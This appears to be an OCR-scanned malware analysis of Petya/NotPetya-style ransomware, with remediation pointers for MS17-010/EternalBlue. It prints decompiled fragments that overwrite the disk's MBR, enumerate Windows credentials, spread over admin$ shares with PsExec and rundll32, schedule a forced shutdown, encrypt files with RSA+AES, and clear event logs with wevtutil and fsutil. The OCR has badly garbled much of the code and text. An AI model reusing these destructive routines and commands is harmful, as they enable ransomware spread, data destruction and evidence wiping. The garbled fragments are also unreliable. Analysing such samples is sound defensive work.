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SeDebugPrivilege 10 (521*10 )
C 10
= CreateFileA{""%%\4W%.%A\C:", 0x400000008u, 3u, O, 3u, 6, 68);
{va )

if ( DeviceloControl{v@, IOCTL_DISK_GET_DRIVE_GEOMETRY, @8, 8, &0utBuffer, 24u, &BytesReturned, @) )
{

i SetFilePointer v@. OutBuffe
“BytesReturned, 5 WriteFile(wBd. v1. OutBuffer

Handle.vB. Close
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if ( vi9 )
{
do
{ e
result = write_disk{u28, &FileMame, (LPCUOID)u13);// ZHHBR,EZFH{Z B2,
if ( result € 8 )
break;
++u20;
uild += Px2AA:
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31F8F8 = result dword_181
1t =1 i~ rest
= write_disk(32, &FileHane, &Buffer);// HAFMILAZE result
1881F8F8 = result; dword_"
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{
It = write_disk(33, &FileNanme, &u21);// 1E7; 0807 resul
1_1801F8F8 = result; dwor(

result  write_disk. FileHame  mbr_data

) MBR






(@) ID 3 Windows dllhost.dat
PsExec.exe exe bat vbs



v? = CredEnumerateW{d, A, &ui3d, &ui2);
if { w9 )
1
vl = B;
vig = B8;
if ( v12 > B )
1
while { 1 )
1
u2 = ui2 + 4 = ui;
v3 = ={ DWORD =*}u2;
vy = ={char ==x){=( DWORD =)u2 + 8);
if { uh )
1
vi1 = 8;
ut = L"TERHSRU/";
uh = ={const wchar_t ==)(=x{ DWORD =}ju2 + 8);
while { *=uf == =y5 )
1
++uﬁ;
++u5;
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if { w7 == 8)

if ( CetSystembirectoryl(&Buffer, Ox30Cu) && PathAppendW(&Buffer, L"shutdoun.exe /v /") )
{
if ( sub_18888494() )
{
vl = L"/RU \"SYSTEM\" *;
if { *(token_mask & &) )
vl = (const wchar_t =)&unk_10814388;
wsprintfU{&uvi, L"schtasks %ws/Create /SC once /TH \'\" /TR \"%uws\" /ST %02d:%02d", vk, &Buffer, u3, v2);
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else
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mav ebx, ds:CreateThread 10807E8?
push edi ; 1pThreadId 10007E8F
push edi ; duCreationFlags 10007E90

push edi r""""'} 1pParameter 10807E91
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v? = socket{2, 1, 8);
if (w2 )

{

name.sa_family = 2;
*#( DWORD =)&name.sa_data[2] = ai;
#( WORD =)&name.sa_data[@] = htons{hostshort});
if { ioctlsocket{v?, -2147195266, &argp) *= -1 )
{

connect{v?, &name, 16);

writefds.fd_array[8] = vZ;

yritefds.fd_count = 1;

timeout.tu_sec = 2;
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closesocket. vz,

vd = NEtSeruerEnuﬁ(B, #x65u, &bufptr, BxFFFFFFFF, &entriesread, &totalentries, servertype, domain, &resume_handle});
if ( v3 &k U3 t= 234 )

1
domaina = @;
H
else
{
Anmodnos = (] ROMEICYTE

) + 1) & OxFu) > &)
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wsprintfW(&Hame, L™\\\\%s\\admin$",

HetResource . dwScope = 8;

menset{&HetResource .duType, 8, 8x1Cu);

HetResource . lpRemoteMame = &Hame ;

HetResource.duType = 1;

sub_18888B70(&v23);

wsprintfW(&FileHame, L™\\\\Viws\iadmin$y\%ws™,

while { 1)
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pszPath = 8;
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if ( tduErrcode )

buildGnd{ (WCHAR
us o= 8;

=)ecmdline, (WCHAR =)&u29, a3};//

i
if { duErrCode == 1)

-d G:\\Hindows\\Systemd2\\rundll32.exe \'C:\\Windows\i\%s\',#1 %s \\\\%s -accepteula -s

{
if ( tlpUserNHame || tlpPassuord )
goto LABEL_53;
_....buildRenotel aainf.(HCHAR x)Enodling, LUCHAR Q&2 . gl  iiplylpserHane. fintilnPassunrdy:
L —=
LPCUSTR [INNEEI
LPUSTR
struct _STARTUPINFOW *  char =
struct _PROCESS_INFORHATION = char = HANDLE LPCUS"
e w e s
u7 = sub 100859?E((1nt)&Dst, cp, 445u, @, a?, a3, ah4, a5, a6, a’);
if w7 )
sub_18882868();
result = uy;
¥
else

byte_1881F8FD = 0;
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do
{
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RSA+AES
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-3145552;
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2188752 ;
—-3145232;
_1;
-3145216;
-1;
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result = {signed int)LocalAlloc{Bx4Bu, Bx28u);
if ( result )

*{_ DWORD =){result + 16) = 1 "MIIBCgKCAQEAXP/UqKe AyLe?JhUgFHQGuIITOGMPXWNKSHNOAYTB065CH 8P jI0InTeHkXE]FO2n 2 nURWY u™
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_DUWORD = result
_DWORD = result _DWORD = RootPathMame
_DWORD * result vl

[ g = = T Tl

vk = L"Hicrosoft Enhanced RSA and AES Cryptographic Provider";

¥
if { f*CryptAcquireContextW{{HCRYPTPROU =)}lpThreadParameter + 2, @, ul, @x18u, uS}) }

goto LABEL_18;
ABEL_7:
u2 = 1pThreadParameter;
i cub_18881BLE! 1n=:

int FileSearchfAndEncryted LPCUSTR
Gen_TipinFo. LPCUSTR
Crypthestroykey. { _DWORD =
CryptReleaseContext _DUWORD ==

LocalFree

2 C:\\Windows
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unche f FindMextFileW@FindFile , &FindFileDatad 3z
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usprintfil
Bu13,
L weututil cl Setup & wewtutil cl System & weututil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:",
pszPath);

uly = @;
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1 Windows MS17-010

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

2 WMI Windows Management Instrumentation

services.msc
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3 Minikit

regedit


https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

1 Petya

TCP_NSA_EternalBlue_( )_SMB [MS17-010]



